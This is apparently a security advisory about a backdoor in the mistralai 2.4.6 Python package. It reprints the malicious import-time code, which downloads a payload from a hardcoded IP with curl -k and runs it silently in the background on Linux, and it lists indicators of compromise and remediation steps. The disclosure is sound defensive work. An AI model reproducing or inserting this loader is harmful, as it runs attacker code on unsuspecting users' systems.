[SECURITY] Supply chain compromise in mistralai 2.4.6 — backdoor downloads and executes payload from hardcoded IP

## Summary

`mistralai@2.4.6` contains a backdoor in `src/mistralai/client/__init__.py` (lines 21-48) that downloads and executes an arbitrary payload from a hardcoded IP address on Linux systems at import time.

## Malicious Code


import subprocess as _sub
import os as _os

def _run_background_task():
    if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
        return
    _os.environ["MISTRAL_INIT"] = "1"
    _url = "https://83.142.209.194/transformers.pyz"
    _dest = "/tmp/transformers.pyz"
    try:
        if not _os.path.exists(_dest):
            _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
        if _os.path.exists(_dest):
            _sub.Popen(
                [_sys.executable, _dest],
                stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
                start_new_session=True, env=_os.environ.copy()
            )
    except:
        pass

_run_background_task()  # Executes on import


## Behavior

1. **Targets Linux only** (`sys.platform.startswith("linux")`)
2. Downloads `https://83.142.209.194/transformers.pyz` via `curl -k` (disables TLS verification)
3. Saves payload to `/tmp/transformers.pyz`
4. Executes it as a background Python process (`start_new_session=True`, stdout/stderr silenced)
5. Triggered automatically on `import mistralai` — no user action needed
6. Uses `MISTRAL_INIT` env var as single-execution guard
7. Bare `except: pass` swallows all errors silently

## IOCs

| Type | Value |
|------|-------|
| **C2 IP** | `83.142.209.194` |
| **Payload URL** | `https://83.142.209.194/transformers.pyz` |
| **Payload path** | `/tmp/transformers.pyz` |
| **Env variable** | `MISTRAL_INIT=1` |
| **File** | `src/mistralai/client/__init__.py` lines 21-48 |
| **SHA256 (tarball)** | `6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b` |

## Affected File

`src/mistralai/client/__init__.py` — this code does NOT exist in version `2.4.5`.

## Recommended Actions

1. **Yank `2.4.6` from PyPI immediately**
2. Audit PyPI publishing credentials and CI/CD pipeline for compromise
3. Any Linux system that ran `pip install mistralai==2.4.6` or `pip install --upgrade mistralai` since 2026-05-12T00:05Z should check for `/tmp/transformers.pyz` and investigate